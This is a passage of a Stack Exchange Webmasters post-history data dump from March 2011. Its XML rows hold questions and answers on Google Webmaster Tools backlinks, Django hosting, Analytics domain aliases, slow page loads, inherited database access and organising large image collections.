  <row Id="24610" PostHistoryTypeId="17" PostId="10942" RevisionGUID="9a806939-e6d3-46fa-bc0c-7b5aa2a291ca" CreationDate="2011-03-20T09:41:48.890" UserId="-1" Comment="from http://stackoverflow.com/questions/4223406/need-an-ev-ssl-certificate" Text="" />
  <row Id="24611" PostHistoryTypeId="25" PostId="10941" RevisionGUID="b230af44-e986-47e6-9010-46d05bbf8dfa" CreationDate="2011-03-20T11:30:24.890" Comment="http://twitter.com/#!/StackWebmasters/status/49432599734657024" />
  <row Id="24612" PostHistoryTypeId="2" PostId="10944" RevisionGUID="abea4617-c3e0-4870-b019-a8b4feb1c402" CreationDate="2011-03-20T12:42:11.173" UserId="5718" Text="Is the list of links for a site shown in Google Webmaster Tools a complete list or just a sample? I've noticed that the links in there appear to be all the ones I didn't think would have any real value - either because they were `nofollow` or from irrelivant sites. The few I did think would be some use have never shown up and there's also some links that are sometimes there and sometimes not (such as my linkedIn profile). Does this mean that the missing links don't/no longer carry any value?&#xD;&#xA;&#xD;&#xA;It almost appears that the list is there for Google to either inform you about problems (there was a useful list there when someone tried to SPAM my site) or mis-imform you about which link-building strategies work or not (to keep people guessing about what works or not)." />
  <row Id="24613" PostHistoryTypeId="1" PostId="10944" RevisionGUID="abea4617-c3e0-4870-b019-a8b4feb1c402" CreationDate="2011-03-20T12:42:11.173" UserId="5718" Text="Usefulness of the Backlinks shown in Webmaster Tools" />
  <row Id="24614" PostHistoryTypeId="3" PostId="10944" RevisionGUID="abea4617-c3e0-4870-b019-a8b4feb1c402" CreationDate="2011-03-20T12:42:11.173" UserId="5718" Text="&lt;google-webmaster-tools&gt;" />
  <row Id="24615" PostHistoryTypeId="2" PostId="10945" RevisionGUID="ae72139c-50c8-4d7d-aba6-d6e5ad3f82c1" CreationDate="2011-03-20T13:06:23.840" UserId="5026" Text="Can you identify the filename of the logo image (spelling &quot;Abrax&quot;) on [this homepage][1]?&#xD;&#xA;&#xD;&#xA;I've having trouble finding it in the offline files I unzipped from the paid template.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.melvilletenniscentre.com.au/new/" />
  <row Id="24616" PostHistoryTypeId="1" PostId="10945" RevisionGUID="ae72139c-50c8-4d7d-aba6-d6e5ad3f82c1" CreationDate="2011-03-20T13:06:23.840" UserId="5026" Text="What is this logo image?" />
  <row Id="24617" PostHistoryTypeId="3" PostId="10945" RevisionGUID="ae72139c-50c8-4d7d-aba6-d6e5ad3f82c1" CreationDate="2011-03-20T13:06:23.840" UserId="5026" Text="&lt;joomla&gt;" />
  <row Id="24618" PostHistoryTypeId="2" PostId="10946" RevisionGUID="4d7bcba8-547b-4b97-ac6c-4295e476a551" CreationDate="2011-03-20T13:09:05.990" UserId="5718" Text="If your moving over to using your own server then it's well worth just learning a bit about using the `shell` and just access it via `SSH`. It takes some time to get used to but is much more flexible that using GUI tools in the long run. " />
  <row Id="24619" PostHistoryTypeId="2" PostId="10947" RevisionGUID="96336173-f7f6-46d0-815d-7d18eea03f31" CreationDate="2011-03-20T13:23:27.103" UserId="108" Text="No Google does not show all links in Webmasters. See this: https://www.google.com/support/webmasters/bin/answer.py?answer=55281&amp;hl=en" />
  <row Id="24623" PostHistoryTypeId="12" PostId="10935" RevisionGUID="dbe84c71-4a70-4186-9263-1de368c5491e" CreationDate="2011-03-20T13:47:58.413" UserId="6191" Text="[{&quot;Id&quot;:6191,&quot;DisplayName&quot;:&quot;iivel&quot;}]" />
  <row Id="24624" PostHistoryTypeId="13" PostId="10935" RevisionGUID="163fa579-80b1-47f4-8308-30057b0ab642" CreationDate="2011-03-20T14:09:54.960" UserId="6191" Text="[{&quot;Id&quot;:6191,&quot;DisplayName&quot;:&quot;iivel&quot;}]" />
  <row Id="24625" PostHistoryTypeId="2" PostId="10949" RevisionGUID="c4851d10-2312-4174-ac1f-ca4ce2081d4e" CreationDate="2011-03-20T14:16:32.910" UserId="6191" Text="url(&quot;../images/header-assets.png&quot;)" />
  <row Id="24626" PostHistoryTypeId="25" PostId="10944" RevisionGUID="68785d34-7d09-4dfd-be0d-35df03ffe531" CreationDate="2011-03-20T14:30:25.170" Comment="http://twitter.com/#!/StackWebmasters/status/49477899547459584" />
  <row Id="24630" PostHistoryTypeId="2" PostId="10950" RevisionGUID="ed510824-a328-49b1-a3f2-1a1fd422833a" CreationDate="2011-03-20T15:53:08.563" UserId="1045" Text="The [image](http://www.melvilletenniscentre.com.au/new/components/com_gantry/images/header-assets.png) is set in CSS. If you open the image in the browser, you probably won't see anything as it's transparent with white text." />
  <row Id="24631" PostHistoryTypeId="2" PostId="10951" RevisionGUID="835ab9bb-defd-4d9a-8190-940601e2fd32" CreationDate="2011-03-20T16:03:35.997" UserId="4999" Text="I would like to put my Django web-site online. Is it possible to do so for free?" />
  <row Id="24632" PostHistoryTypeId="1" PostId="10951" RevisionGUID="835ab9bb-defd-4d9a-8190-940601e2fd32" CreationDate="2011-03-20T16:03:35.997" UserId="4999" Text="Is there a free Django hosting service out there?" />
  <row Id="24633" PostHistoryTypeId="3" PostId="10951" RevisionGUID="835ab9bb-defd-4d9a-8190-940601e2fd32" CreationDate="2011-03-20T16:03:35.997" UserId="4999" Text="&lt;web-hosting&gt;&lt;django&gt;" />
  <row Id="24634" PostHistoryTypeId="25" PostId="10951" RevisionGUID="6a136d9a-0a1e-4a28-a1f1-8267bfce3209" CreationDate="2011-03-20T17:30:24.373" Comment="http://twitter.com/#!/StackWebmasters/status/49523194553565184" />
  <row Id="24635" PostHistoryTypeId="2" PostId="10952" RevisionGUID="fcb327d0-03eb-4bd0-8f30-ca494642b3f3" CreationDate="2011-03-20T17:59:10.020" UserId="6211" Text="also, when you change your password, check if you saved passwords in ftp client (ie. total commander, or filezilla). some of the trojan/viruses can steal passwords, and made a mess.&#xD;&#xA;&#xD;&#xA;it's not ok to say that freelancer is the one that made that damage.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24636" PostHistoryTypeId="2" PostId="10953" RevisionGUID="5ed11ecd-c20b-40ab-9663-1ee1851a494f" CreationDate="2011-03-20T18:20:05.727" UserId="327" Text="I found this article from Google [http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55523][1]&#xD;&#xA;&#xD;&#xA;However I'm not sure what happens to the data.&#xD;&#xA;&#xD;&#xA;Will I be able to determine which domain forwarded to the primary domain using their technique?&#xD;&#xA;&#xD;&#xA;Or will it simply tranfers all the relevant keyword and other factors to the primary domain but not which domain was originally landed before the 302 redirect.&#xD;&#xA;&#xD;&#xA;What I need to do is track which domain alias are being used.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55523" />
  <row Id="24637" PostHistoryTypeId="1" PostId="10953" RevisionGUID="5ed11ecd-c20b-40ab-9663-1ee1851a494f" CreationDate="2011-03-20T18:20:05.727" UserId="327" Text="Set Up Google Analytics to Track Domain Alias" />
  <row Id="24638" PostHistoryTypeId="3" PostId="10953" RevisionGUID="5ed11ecd-c20b-40ab-9663-1ee1851a494f" CreationDate="2011-03-20T18:20:05.727" UserId="327" Text="&lt;google-analytics&gt;&lt;multiple-domains&gt;" />
  <row Id="24639" PostHistoryTypeId="2" PostId="10954" RevisionGUID="1a92dce2-e23d-4da5-b6bd-a0ce0c298381" CreationDate="2011-03-20T18:22:34.773" UserId="6212" Text="direct link:&#xD;&#xA;http://www.melvilletenniscentre.com.au/new/components/com_gantry/images/header-assets.png" />
  <row Id="24640" PostHistoryTypeId="2" PostId="10955" RevisionGUID="eccd1847-b3a3-4913-b900-5c976b388417" CreationDate="2011-03-20T18:34:16.710" UserId="5718" Text="Using the technique as laid out in the documentation, GA won't show the original domain. One way to track it would be to modify the redirect to put the domain name into a URL parameter. You could then you could pick it up and send it to GA in a custom variable." />
  <row Id="24645" PostHistoryTypeId="2" PostId="10957" RevisionGUID="6930d51b-a0c0-4386-b810-8b862f8f477b" CreationDate="2011-03-20T19:52:45.897" UserId="5849" Text="Google Apps supports Django, although there are slight differences that you will have to edit in your app. But (i believe) that it is free. &#xD;&#xA;&#xD;&#xA;Other than that, you will probably have to pay. Webfaction is a really good django host that is fairly inexpensive. " />
  <row Id="24646" PostHistoryTypeId="2" PostId="10958" RevisionGUID="c1dc0667-1e7c-43ea-b9ff-20fb51e89d3b" CreationDate="2011-03-20T19:56:33.803" UserId="5849" Text="Paypal has the Buy Now button for single payments and the subscription services for mulitple payments. If you only want someone to pay once, then you should be using a buy now button. " />
  <row Id="24650" PostHistoryTypeId="2" PostId="10960" RevisionGUID="87e517e0-c9e1-4c83-be08-0ad117b17416" CreationDate="2011-03-20T20:33:04.830" UserDisplayName="senzacionale" Text=" we have page at this domain http://www.pravninasvet.com. But there is a problem that sometimes works fast sometime very slow. Domain is registered by godaddy, server is in Germany. But when page loads very slow is ping normal.&#xD;&#xA;&#xD;&#xA;C:\Documents and Settings\Mitja&gt;ping pravninasvet.com&#xD;&#xA;&#xD;&#xA;    Pinging pravninasvet.com [91.194.91.202] with 32 bytes of data:&#xD;&#xA;    &#xD;&#xA;    Reply from 91.194.91.202: bytes=32 time=52ms TTL=55&#xD;&#xA;    Reply from 91.194.91.202: bytes=32 time=50ms TTL=55&#xD;&#xA;    Reply from 91.194.91.202: bytes=32 time=52ms TTL=55&#xD;&#xA;    Reply from 91.194.91.202: bytes=32 time=51ms TTL=55&#xD;&#xA;    &#xD;&#xA;    Ping statistics for 91.194.91.202:&#xD;&#xA;        Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),&#xD;&#xA;    Approximate round trip times in milli-seconds:&#xD;&#xA;        Minimum = 50ms, Maximum = 52ms, Average = 51ms&#xD;&#xA;&#xD;&#xA;can be a problem that server is in Germany and domain registered at godaddy or what can be the problem. Sometimes is  page very slow." />
  <row Id="24651" PostHistoryTypeId="1" PostId="10960" RevisionGUID="87e517e0-c9e1-4c83-be08-0ad117b17416" CreationDate="2011-03-20T20:33:04.830" UserDisplayName="senzacionale" Text="Page loading problem. Page is very slow..." />
  <row Id="24652" PostHistoryTypeId="3" PostId="10960" RevisionGUID="87e517e0-c9e1-4c83-be08-0ad117b17416" CreationDate="2011-03-20T20:33:04.830" UserDisplayName="senzacionale" Text="&lt;php&gt;" />
  <row Id="24653" PostHistoryTypeId="17" PostId="10960" RevisionGUID="5fe6ab87-b09b-484f-969a-ed6c8913b215" CreationDate="2011-03-20T20:36:37.013" UserId="-1" Comment="from http://superuser.com/questions/260090/page-loading-problem-page-is-very-slow" Text="" />
  <row Id="24663" PostHistoryTypeId="2" PostId="10964" RevisionGUID="8d02e8a5-f8c3-40d3-98e5-f42728460c33" CreationDate="2011-03-20T21:26:06.657" UserId="6219" Text="I would bet on the problem being with your host. If you have more than one site on that server you can see if they are slow at the same time. If it's a shared server you can also try finding sites that share your ip using http://www.myipneighbors.com/ and see if they're slow when you are.&#xD;&#xA;&#xD;&#xA;If that's the problem there's not much you can do other than upgrading your plan or finding a new host. That's assuming the slowdown is from other people's traffic. If the high traffic is coming from you then just moving won't help, you would definitely need a server with more resources." />
  <row Id="24666" PostHistoryTypeId="25" PostId="10960" RevisionGUID="6d97dbb0-28fe-4a5f-93c5-3e49d4426ac0" CreationDate="2011-03-20T23:30:25.070" Comment="http://twitter.com/#!/StackWebmasters/status/49613794619559936" />
  <row Id="24667" PostHistoryTypeId="6" PostId="7720" RevisionGUID="36aad4b3-be89-480a-92ae-7345b69b3ce5" CreationDate="2011-03-20T23:45:22.357" UserId="1253" Comment="added &quot;looking-for-a-script&quot; tag" Text="&lt;file-manger&gt;&lt;looking-for-a-script&gt;" />
  <row Id="24668" PostHistoryTypeId="2" PostId="10965" RevisionGUID="8e67b77c-1156-4d64-abe3-328b157e436b" CreationDate="2011-03-21T01:00:48.173" UserId="6222" Text="There's a domain that I want. The registrant details were hidden behind Domain Discreet, which no longer exists, and none of the contact info works, email bounces etc. so I can't approach the owner and ask what they want for it. It was due to expire last year so I used a deleting domains provider to try and grab it, but several months after it was supposed to have expired it was re-registered by its current owner for another two years. Tried filing a complaint with ICANN about the invalid contact details but no dice. Advice?" />
  <row Id="24669" PostHistoryTypeId="1" PostId="10965" RevisionGUID="8e67b77c-1156-4d64-abe3-328b157e436b" CreationDate="2011-03-21T01:00:48.173" UserId="6222" Text="How to get a domain with invalid contact details" />
  <row Id="24670" PostHistoryTypeId="3" PostId="10965" RevisionGUID="8e67b77c-1156-4d64-abe3-328b157e436b" CreationDate="2011-03-21T01:00:48.173" UserId="6222" Text="&lt;domains&gt;&lt;domain-names&gt;&lt;domain-registration&gt;" />
  <row Id="24671" PostHistoryTypeId="25" PostId="10965" RevisionGUID="ba6c4e15-f02d-483c-891f-296d73c852d5" CreationDate="2011-03-21T02:30:24.527" Comment="http://twitter.com/#!/StackWebmasters/status/49659090821066752" />
  <row Id="24672" PostHistoryTypeId="2" PostId="10966" RevisionGUID="4418959b-801a-4234-8ccb-49575b241fcc" CreationDate="2011-03-21T03:52:58.240" UserId="6226" Text="Thx for the code danlefree! Do you know what I have to do in order to create an &quot;active&quot; state when you make clic over the links that shows the different sections? &#xD;&#xA;For instance, after you clic, make the link have underline decoration or change size or change some background image. &#xD;&#xA;&#xD;&#xA;I don't know if this is the right place to ask this, first time on this site :D&#xD;&#xA;Thx anyway&#xD;&#xA;&#xD;&#xA;dacm," />
  <row Id="24673" PostHistoryTypeId="2" PostId="10967" RevisionGUID="70165ecc-7c02-4dfc-9477-567d55d3dfbd" CreationDate="2011-03-21T03:58:52.637" UserId="4461" Text="In terms of *self-referencing `rel=canonical`* improving ranking (rating), the answer is **no**.&#xD;&#xA;&#xD;&#xA;`rel=canonical` can help with ranking in other situations however.&#xD;&#xA;&#xD;&#xA;The reason i'm adding this as an additional answer is that I don't *quite* agree with [John][1] (that it won't help with rankings), Google has indicated that in terms of passing along link equity/PR/whatever, that the `rel=canonical` acts similar to a `301` redirect (with a degree of decay), so it is technically possible to consolidate back-links to a canonical URL and thus improve the ranking for that page.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/10834/multisites-network-seocan-self-referencing-canonical-tagrel-canonical-insid/10835#10835" />
  <row Id="24674" PostHistoryTypeId="2" PostId="10968" RevisionGUID="43db7639-2ad9-4475-a08d-7ac08337b957" CreationDate="2011-03-21T04:30:18.117" UserId="4461" Text="I can verify that you do indeed have performance issues.&#xD;&#xA;&#xD;&#xA;Your server may very well be partly to blame, but you also have some significant on-page issues that you could also look to mitigate your slow-site problem:  &#xD;&#xA;http://gtmetrix.com/reports/www.pravninasvet.com/Ilad9BMy (45 seconds to load)&#xD;&#xA;&#xD;&#xA;Additionally, you could reduce the size (KB) of your website:  &#xD;&#xA;http://173-203-64-171.static.cloud-ips.com/scan-files/free/d23b5c8ee7d85829ab157ccc579cfde9/report.html&#xD;&#xA;&#xD;&#xA;Lastly, you might want to check that your DNS problems aren't causing additional lookup delays:&#xD;&#xA;http://dnscheck.pingdom.com/?domain=www.pravninasvet.com" />
  <row Id="24675" PostHistoryTypeId="5" PostId="10953" RevisionGUID="ff95ebc1-cff6-45e8-861b-957d2c1fb23e" CreationDate="2011-03-21T04:36:03.973" UserId="327" Comment="changed 302 to 301" Text="I found this article from Google [http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55523][1]&#xD;&#xA;&#xD;&#xA;However I'm not sure what happens to the data.&#xD;&#xA;&#xD;&#xA;Will I be able to determine which domain forwarded to the primary domain using their technique?&#xD;&#xA;&#xD;&#xA;Or will it simply tranfers all the relevant keyword and other factors to the primary domain but not which domain was originally landed before the 301 redirect.&#xD;&#xA;&#xD;&#xA;What I need to do is track which domain alias are being used.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/analytics/bin/answer.py?hl=en&amp;answer=55523" />
  <row Id="24676" PostHistoryTypeId="2" PostId="10969" RevisionGUID="2ea59ccb-2be8-4e9d-891c-a616422221c0" CreationDate="2011-03-21T05:29:29.503" UserId="4306" Text="You're looking at the overall bounce rate, but you should drill down to see if there are any specific pages that are showing an increase in bounce rate.&#xD;&#xA;&#xD;&#xA;* Set up 2 comparison date spans - 1 from before the JS deployment and 1 after.&#xD;&#xA;* Go to Top Landing Pages and compare the bounce rates&#xD;&#xA;* Is one page showing a significant increase (above 15%) which is raising the average? If so, this is the troublesome page.&#xD;&#xA;* If not, and the increase is evenly spread across all pages, you'll have to do some more digging." />
  <row Id="24679" PostHistoryTypeId="2" PostId="10971" RevisionGUID="53d4afe3-700b-4b47-bad0-f6d70aad9448" CreationDate="2011-03-21T08:20:38.717" UserId="6230" Text="We have a dynamic website based on MSSQL and PHP. There is a hosted DB, which we have an IP and access credentials for. We do not apparently know where it is hosted. We need to make changes which are not covered by the CMS, and the company which built the site (last December) is no longer functioning. &#xD;&#xA;&#xD;&#xA;I'm at best an amateur when it comes to web design and programming, but but this has become my responsibility to sort out. &#xD;&#xA;&#xD;&#xA;Anything that can be done to point me in the right direction will be appreciated. I can provide more info, if you can tell me what you need to know. By the way, we're based in Dubai, so responses may be oddly timed, or appear slow. Also, there are limited options to go get another local company to look at this, without simply rebuilding the site again.&#xD;&#xA;&#xD;&#xA;Thanks again for whatever help you can provide.&#xD;&#xA;&#xD;&#xA;The site was built, according to the developer, with the following tools:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;TECHNOLOGY&#xD;&#xA;&#xD;&#xA;•	Framework 		: Microsoft Dot Net Frame Work 3.0 (2.0) &#xD;&#xA;•	Programming 	        : Asp.Net&#xD;&#xA;•	Scripting		: C#, JAVA Script&#xD;&#xA;•	Extended Tool		: ASP.NET AJAX Control Toolkit &#xD;&#xA;                                       (Microsoft ASP.NET AJAX framework)&#xD;&#xA;•	Database		: Microsoft SQL Server 2008&#xD;&#xA;&#xD;&#xA;SOFTWARE USED&#xD;&#xA;•	Microsoft Visual Studio 2008&#xD;&#xA;•	Microsoft SQL Server 2008&#xD;&#xA;•	Microsoft SQL Server Management Studio Express&#xD;&#xA;•	Adobe Dreamweaver CS3&#xD;&#xA;•	Adobe Photoshop CS3&#xD;&#xA;•	Adobe Flash CS3&#xD;&#xA;•	Flash Slide Show Maker&#xD;&#xA;•	Cute FTP + Mozilla Fire FTP&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;I have a document from the developer which my employer was originally told would provide all the data needed to make changes to the site. If it does, however, I can't see how. I've also tried to do whois searches on the DB IP, to find the host, but our ISP here blocks direct IP input as &quot;hacking&quot;.&#xD;&#xA;&#xD;&#xA;Please let me know if I can provide any more information.&#xD;&#xA;&#xD;&#xA;Josh&#xD;&#xA;" />
  <row Id="24680" PostHistoryTypeId="1" PostId="10971" RevisionGUID="53d4afe3-700b-4b47-bad0-f6d70aad9448" CreationDate="2011-03-21T08:20:38.717" UserId="6230" Text="PHP based Website DB access issues?" />
  <row Id="24681" PostHistoryTypeId="3" PostId="10971" RevisionGUID="53d4afe3-700b-4b47-bad0-f6d70aad9448" CreationDate="2011-03-21T08:20:38.717" UserId="6230" Text="&lt;php&gt;&lt;web-development&gt;&lt;database&gt;&lt;web-hosting&gt;&lt;sql-server&gt;" />
  <row Id="24682" PostHistoryTypeId="25" PostId="10953" RevisionGUID="a124bed7-975e-4df1-90d1-d5394279c756" CreationDate="2011-03-21T08:30:24.963" Comment="http://twitter.com/#!/StackWebmasters/status/49749689549074432" />
  <row Id="24683" PostHistoryTypeId="2" PostId="10972" RevisionGUID="6dad6e29-4a60-4e4b-9f9b-3d901f58a297" CreationDate="2011-03-21T09:21:11.003" UserId="3070" Text="need to know how to get all keywords from Google Keywords service. By default, i can  download only 700 keywords. How to get all keywords from one query?" />
  <row Id="24684" PostHistoryTypeId="1" PostId="10972" RevisionGUID="6dad6e29-4a60-4e4b-9f9b-3d901f58a297" CreationDate="2011-03-21T09:21:11.003" UserId="3070" Text="Getting keywords in XML from Google?" />
  <row Id="24685" PostHistoryTypeId="3" PostId="10972" RevisionGUID="6dad6e29-4a60-4e4b-9f9b-3d901f58a297" CreationDate="2011-03-21T09:21:11.003" UserId="3070" Text="&lt;google&gt;" />
  <row Id="24686" PostHistoryTypeId="5" PostId="10972" RevisionGUID="10aff688-feec-4c30-a122-651e71043dbf" CreationDate="2011-03-21T09:58:44.323" UserId="3070" Comment="added 8 characters in body" Text="need to know how to get all keywords from Google Keywords service. By default, i can  download only 700 keywords. How to get all keywords from one query? Thanks." />
  <row Id="24687" PostHistoryTypeId="2" PostId="10973" RevisionGUID="e196ffbf-f4a8-40ec-9d65-bec72d537cf4" CreationDate="2011-03-21T10:17:00.830" UserId="1643" Text="If you've got a VPS you could install cPanel on it. To answer the question in the last paragraph - it depends if you want more control over the server, or if cPanel gives you everything you need." />
  <row Id="24688" PostHistoryTypeId="2" PostId="10974" RevisionGUID="e4daf7c5-99f4-46be-a529-ab3e1ef62d46" CreationDate="2011-03-21T10:31:49.257" UserId="1643" Text="It sounds like you've been left with enough access for someone who knows what they are doing to make the changes you need, apart from the question of where the database actually lives. (Sometimes the problems posted here on this site are that people don't have enough access.) If someone can access the site via FTP they can find a bit more about where the database is by looking through the code. So I would look for a freelancer with the appropriate skills. One thing that doesn't tie up though is that you say it's based on PHP, but that doesn't appear in the technology list, you've just got the Windows equivalent asp.net. If that list is correct you need someone with those skills, not PHP. Your question then becomes &quot;how do I find a freelancer?&quot; which is a separate question.&#xD;&#xA;&#xD;&#xA;However you still have the problem of not knowing where the hosting is. At some point they are going to bill you so you'd find out then. If you want to send me the IP I can try and do some digging. My email is hosted by a company called iname.com and you can probably guess the bit before the @.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24694" PostHistoryTypeId="17" PostId="10976" RevisionGUID="d53b1c74-6546-46c8-824b-805b5d8a656c" CreationDate="2011-03-21T11:04:01.983" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/60058/strategy-for-managing-lots-of-pictures-for-a-website/60064#60064" Text="" />
  <row Id="24695" PostHistoryTypeId="17" PostId="10977" RevisionGUID="cd32a956-0523-41e4-86b6-c3c9e4be2b20" CreationDate="2011-03-21T11:04:01.983" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/60058/strategy-for-managing-lots-of-pictures-for-a-website/60068#60068" Text="" />
  <row Id="24696" PostHistoryTypeId="17" PostId="10978" RevisionGUID="3f577f0e-f989-4d55-9ae2-3bd8c1b49d0e" CreationDate="2011-03-21T11:04:01.983" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/60058/strategy-for-managing-lots-of-pictures-for-a-website/60070#60070" Text="" />
  <row Id="24697" PostHistoryTypeId="17" PostId="10979" RevisionGUID="5ac76c03-365c-49c1-8546-ba0079648902" CreationDate="2011-03-21T11:04:01.983" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/60058/strategy-for-managing-lots-of-pictures-for-a-website/60107#60107" Text="" />
  <row Id="24698" PostHistoryTypeId="2" PostId="10976" RevisionGUID="64996347-fcbc-49a7-bcb8-65f374424711" CreationDate="2011-03-20T02:59:09.610" UserId="5810" Text="You mentioned that information was stored in the database... why not search the database then go to the folder directly?" />
  <row Id="24699" PostHistoryTypeId="2" PostId="10977" RevisionGUID="3b273c88-941d-4e0f-a908-d85632583d7e" CreationDate="2011-03-20T03:18:41.997" UserDisplayName="jmquigley" Text="Generate a hash value for each picture, based on the contents of the picture (like SHA-1 or SHA-2) and separate the directory structure based on the beginning value of the hash (i.e. 64 directories covering a range of the hash values: &#xD;&#xA;&#xD;&#xA;/images/00-03&#xD;&#xA;/images/04-07&#xD;&#xA;/images/08-0B&#xD;&#xA;... (etc)&#xD;&#xA;&#xD;&#xA;OR another breakdown&#xD;&#xA;&#xD;&#xA;/images/0000&#xD;&#xA;/images/0001&#xD;&#xA;/images/0002&#xD;&#xA;...&#xD;&#xA;/images/000A&#xD;&#xA;... (etc)&#xD;&#xA;&#xD;&#xA;Some file would be named 0003ABC2EFA23.png.  It would be found in directory: /images/0003&#xD;&#xA;&#xD;&#xA;The number of the directory would represent the first digits of the hash value.  You can configure it to use a wider OR smaller range of hash values.  This allows you to break up the files into separate directories and quickly find the file you want based on this hash.&#xD;&#xA;&#xD;&#xA;NOTE: make sure you consider collision resolution of the hash (because it can and probably will happen).  Something like 0003ABC2EFA23-01.png for the first collision, 0003ABC2EFA23-02.png for the second." />
  <row Id="24700" PostHistoryTypeId="2" PostId="10978" RevisionGUID="f5c3adca-2151-4255-ab13-c7f5f4fd90f6" CreationDate="2011-03-20T03:55:25.203" UserDisplayName="GrandmasterB" Text="Having each image in its own directory really is overkill, and you're right, it'll start causing performance problems when you get tons of images in there.  The actual point at which you reach this depends on the OS.   But it can slow things down significantly.&#xD;&#xA;&#xD;&#xA;Since you're tracking the image in a database, you can use the **unique row id** for the image name.  So for the image at row 1, save the name as '1.jpg'.  If you need to track different versions or revisions, you can name them like '1-resized.jpg', '1-original.jpg', etc.  In the db, you can store the original file name and/or file extension being used.&#xD;&#xA;&#xD;&#xA;If you expect a lot of images, break them down into multiple directories based on the id using some expression.  For example, `truncate( id / 1000)`, which would put the first 1000 images into directory 0 ('0/1.jpg', '0/1-resized.jpg'), the next 1000 into '1', etc.  Thus When you need to reference image #15025, you know that image is '15/15025.jpg'.  (if you want to be slick, pad the directory name with zeros so they're sortable)&#xD;&#xA;&#xD;&#xA;If you end up with a million images, they'd be broken down into 1000 directories of 1000 images each, which is still navagatable via the command line if you need to manually manage things. " />
  <row Id="24701" PostHistoryTypeId="2" PostId="10979" RevisionGUID="4e33bc01-52cf-4e4f-b24b-0ab1c17793bb" CreationDate="2011-03-20T07:17:56.370" UserDisplayName="Nik Kalyani" Text="Such problems of scale have efficient solutions on cloud platforms such as Azure or AWS. Even though we are talking about a local filesystem, the same concepts can be applied here. Three things to consider in your solution:&#xD;&#xA;&#xD;&#xA;1) Remove any association between any attributes of the resource and its physical location. For example, avoid using file names, titles, computed hash values etc. to determine where the photo will reside.&#xD;&#xA;&#xD;&#xA;2) Use a sharding algorithm suitable for the desired scale and the available resources to determine the physical placement of photos. For example, if you have three volumes of equal size, then your sharding algorithm might be designed to distribute photos in sub-folders on the volumes such that the space usage on those volumes is balanced. You may also distribute photos in such a manner that reads can be more performant by using multiple disk spindles. It is best to keep things simple...numerical sequences of folder names work best. Here's something purely for illustrative purposes and not intended to be a recommendation:&#xD;&#xA;&#xD;&#xA;00000000 / 000 to 999 / 000.jpg to 999.jpg&#xD;&#xA;&#xD;&#xA;00000001 / 000 to 999 / 000.jpg to 999.jpg&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;3) Use database table to store the meta data and a pointer to the physical file(s).&#xD;&#xA;&#xD;&#xA;Using this approach, you will be able to scale this to large numbers of images with good performance." />
  <row Id="24702" PostHistoryTypeId="2" PostId="10975" RevisionGUID="5ce58860-94b4-4a47-bc69-633eb1e4fd32" CreationDate="2011-03-20T02:26:00.167" UserDisplayName="Nate" Text="I'm starting a new website that will (hopefully) have a lot of user generated pictures.  I'm trying to figure out the best way to store and serve these pictures.&#xD;&#xA;&#xD;&#xA;The CMS I'm using (umbraco) has a media library that puts a folder on the server for each image.  Inside of there you can have different sizes of that same image.  That folder has an ID on it and the database has additional information for that image along with the ID of the folder.&#xD;&#xA;&#xD;&#xA;This works great for small sites, but what if the pictures get up to 10,000, 100,000 or 1,000,000?  It seems like the lookup on the directory would take a long time to find the correct folder.  I'm on windows 2008 if that makes a difference.&#xD;&#xA;&#xD;&#xA;I'm not so worried about load.  I can load balance my server pretty easily and replicate the images across the servers.  The nature of the site won't have a lot of users on it either, but it could have a lot of pics.&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;-Nate&#xD;&#xA;&#xD;&#xA;**EDIT**  &#xD;&#xA;After some thought I think I'm going to create a directory for each user under a root image folder then have user's pictures under that.   I would be pretty stoked if I had even 5,000 users, so that shouldn't be too bad of a linear lookup.  If it does get slow I will break it down into folders like /media/a/adam/image123.png.&#xD;&#xA;&#xD;&#xA;If it ever gets really big I will expand the above method to build a bigger tree.  That would take a LOT of content though." />
  <row Id="24703" PostHistoryTypeId="1" PostId="10975" RevisionGUID="5ce58860-94b4-4a47-bc69-633eb1e4fd32" CreationDate="2011-03-20T02:26:00.167" UserDisplayName="Nate" Text="Strategy for managing lots of pictures for a website" />
  <row Id="24704" PostHistoryTypeId="3" PostId="10975" RevisionGUID="5ce58860-94b4-4a47-bc69-633eb1e4fd32" CreationDate="2011-03-20T02:26:00.167" UserDisplayName="Nate" Text="&lt;web-development&gt;" />
  <row Id="24705" PostHistoryTypeId="17" PostId="10975" RevisionGUID="88d2183a-4d96-4214-b654-27b4c4c2cf62" CreationDate="2011-03-21T11:04:01.983" UserId="-1" Comment="from http://programmers.stackexchange.com/questions/60058/strategy-for-managing-lots-of-pictures-for-a-website" Text="" />
  <row Id="24706" PostHistoryTypeId="5" PostId="10971" RevisionGUID="739f1cb5-f007-4935-bd7f-ea25f06f225a" CreationDate="2011-03-21T11:10:09.277" UserId="6230" Comment="added 426 characters in body" Text="We have a dynamic website based on MSSQL and ASP.net. There is a hosted DB, which we have an IP and access credentials for. We do not apparently know where it is hosted. We need to make changes which are not covered by the CMS, and the company which built the site (last December) is no longer functioning. &#xD;&#xA;&#xD;&#xA;I'm at best an amateur when it comes to web design and programming, but but this has become my responsibility to sort out. &#xD;&#xA;&#xD;&#xA;Anything that can be done to point me in the right direction will be appreciated. I can provide more info, if you can tell me what you need to know. By the way, we're based in Dubai, so responses may be oddly timed, or appear slow. Also, there are limited options to go get another local company to look at this, without simply rebuilding the site again.&#xD;&#xA;&#xD;&#xA;Thanks again for whatever help you can provide.&#xD;&#xA;&#xD;&#xA;The site was built, according to the developer, with the following 